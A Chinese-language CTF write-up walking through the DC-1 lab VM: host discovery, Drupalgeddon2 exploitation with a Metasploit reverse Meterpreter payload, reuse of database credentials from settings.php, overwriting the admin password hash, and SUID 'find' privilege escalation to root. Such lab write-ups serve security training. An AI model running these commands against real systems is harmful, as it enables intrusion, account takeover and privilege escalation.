当前位置: 首页 > news >正文

DC-1 靶场学习

以前写过了,有一些忘了,快速的重温一遍。
DC一共九个靶场,目标一天一个。

文章目录

  • 环境配置:
  • 信息搜集:
  • 漏洞复现:
  • FLAG获取

环境配置:

最简单的办法莫过于将kali和DC-1同属为一个nat的网络下。

image-20230224151556977

image-20230224151420206

image-20230224151424358

信息搜集:

首先探测靶机ip,两种方法:

arp-scan -l
nmap -sP 192.168.28.0/24

image-20230224151844953

image-20230224151934633

靶机ip为192.168.28.129

image-20230224152007329

明显有一个80端口,继续用nmap探测端口情况。

image-20230224152145026

还开起了22和111端口,wappalyzer信息搜集,看一下框架。

image-20230224152437666

或者用kali自带的whatweb指纹探测。

whatweb -v 192.168.28.129

image-20230224152639042

同样得到的是Drupal7.0版本,msfconsole里存在Drupal攻击模块。

漏洞复现:

search去找Drupal模块

search Drupal

image-20230224153110889

进入exploit/unix/webapp/drupal_drupalgeddon2模块,然后查看payload。

use exploit/unix/webapp/drupal_drupalgeddon2
show payloads

image-20230224153319619

php/meterpreter/reverse_tcp可以利用。

然后设置payload和配置。

set payload /php/meterpreter/reverse_tcp
set RHOSTS 192.168.28.129

输入exploit启动。

image-20230224153645562

成功拿到shell,先反弹shell。

python -c "import pty;pty.spawn('/bin/bash')"

image-20230224153841490

FLAG获取

然后ls -l发现flag1.

Every good CMS needs a config file - and so do you
每个好的CMS都需要一个配置文件 - 你也是

明显是想让我们去查看配置文件。

image-20230224154037611

发现settings.php文件,查看后得到flag2.

 Brute force and dictionary attacks aren't the* only ways to gain access (and you WILL need access).* What can you do with these credentials?
蛮力和字典攻击不是*只有获得访问权限的方法(您将需要访问权限)。* 您可以使用这些凭据做什么?

不能爆破,但在配置中存在mysql账号密码,可以通过mysql查看账号密码。

mysql -udbuser -pR0ck3t

登录mysql。

在其中找到user表。

image-20230224154902860

但其中的pass被加密,猜测存在哈希加密代码,查找。

find . -name *hash*

image-20230224155102664

找到的password-hash.sh,这肯定是加密代码,cat一下。

#!/usr/bin/php
<?php/*** Drupal hash script - to generate a hash from a plaintext password** Check for your PHP interpreter - on Windows you'll probably have to* replace line 1 with*   #!c:/program files/php/php.exe** @param password1 [password2 [password3 ...]]*  Plain-text passwords in quotes (or with spaces backslash escaped).*/if (version_compare(PHP_VERSION, "5.2.0", "<")) {$version  = PHP_VERSION;echo <<<EOFERROR: This script requires at least PHP version 5.2.0. You invoked it withPHP version {$version}.
\n
EOF;exit;
}$script = basename(array_shift($_SERVER['argv']));if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {echo <<<EOFGenerate Drupal password hashes from the shell.Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"All arguments are long options.--help      Print this page.--root <path>Set the working directory for the script to the specified path.To execute this script this has to be the root directory of yourDrupal installation, e.g. /home/www/foo/drupal (assuming Drupalrunning on Unix). Use surrounding quotation marks on Windows."<password1>" ["<password2>" ["<password3>" ...]]One or more plan-text passwords enclosed by double quotes. Theoutput hash may be manually entered into the {users}.pass field tochange a password via SQL to a known value.To run this script without the --root argument invoke it from the root directory
of your Drupal installation as./scripts/{$script}
\n
EOF;exit;
}$passwords = array();// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {switch ($param) {case '--root':// Change the working directory.$path = array_shift($_SERVER['argv']);if (is_dir($path)) {chdir($path);}break;default:// Add a password to the list to be processed.$passwords[] = $param;break;}
}define('DRUPAL_ROOT', getcwd());include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';foreach ($passwords as $password) {print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

先看帮助,理解脚本如何使用。

image-20230224155402217

然后运行脚本然后得到加密过后密码,随后密码替换。

update users set pass="$S$Ds.RBZ79FgPXwUiHZZd5eo2rVbYQzTomLgBhA24Sw04Bnr3UWSpB"where name="admin";

然后登录网站得到flag3

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
特殊的 PERMS 将帮助找到 passwd - 但您需要 -exec 该命令来弄清楚如何获取阴影中的东西。

在/etc/passwd中发现flag4用户。

image-20230224160636908

得到flag4。

Can you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy.  Or maybe it is?
您可以使用相同的方法来查找或访问 root 中的标志吗?
可能。但也许这并不容易。 或者也许是?

访问root文件夹需要root权限。

SUID提权:

find / -user root -perm -4000 -print 2>/dev/null

其中就有find,直接用。

find / -exec "/bin/bash" -p \;

image-20230224161616986

进入root目录得到最后的flag。

Well done!!!!Hopefully you've enjoyed this and learned some new skills.You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
干的好!!!!希望您喜欢这个并学到了一些新技能。你可以让我知道你对这个小旅程的看法
通过推特与我联系 - @DCAU7

利用hydra暴力破解得到flag4的密码。

image-20230224172053998

http://www.lryc.cn/news/19328.html

相关文章:

  • oracle 不使用索引深入解析
  • 什么是自助式BI工具,有没有推荐
  • 如何高效管理自己的时间,可以从这几个方向着手
  • 【PAT甲级题解记录】1014 Waiting in Line (30 分)
  • web接入大华摄像头实时视频
  • Git代码冲突-不同分支之间的代码冲突
  • KUKA KR C4机器人与S7-1200PLC进行PROFINET通信的具体方法和步骤
  • 从0到1一步一步玩转openEuler--24 openEuler管理进程-调度启动进程
  • Servlet笔记(10):Session跟踪
  • Hive---分区表和分桶表
  • C++ STL
  • java程序员要了解的sql语句优化技巧大全
  • SQL零基础入门学习(十)
  • Pytorch从零开始训练模型【识别数字模型】并测试
  • Leetcode DAY 44: 完全背包 and 零钱兑换 II and 组合总和 Ⅳ
  • 谷歌搜索留痕的技术公式【2023年新版】
  • 2023财年Q4业绩继续下滑,ChatGPT能驱动英伟达重回巅峰吗?
  • 博客管理系统--项目说明
  • 一文带你了解MySQL的Server层和引擎层是如何交互的?
  • CVNLP 常用数据集语料库资源汇总
  • lisp 表达式求值规则
  • Sophos Firewall OS (SFOS) 19.5 MR1 - 同步下一代防火墙
  • 为什么很多人转行IT考虑后端开发Java?
  • WebDAV之π-Disk派盘+Cloud Player
  • Python-datetime、time包常用功能汇总
  • Spring MVC 源码- HandlerAdapter 组件(四)之 HandlerMethodReturnValueHandler
  • 2023面试必备:web自动化测试POM设计模式详解
  • 【人工智能 AI】Robotic Process Automation (RPA) 机器人流程自动化 (RPA)
  • ubuntu/linux系统知识(37)systemd管理临时文件的方法systemd-tmpfiles
  • 云计算专业和计算机专业哪个好就业?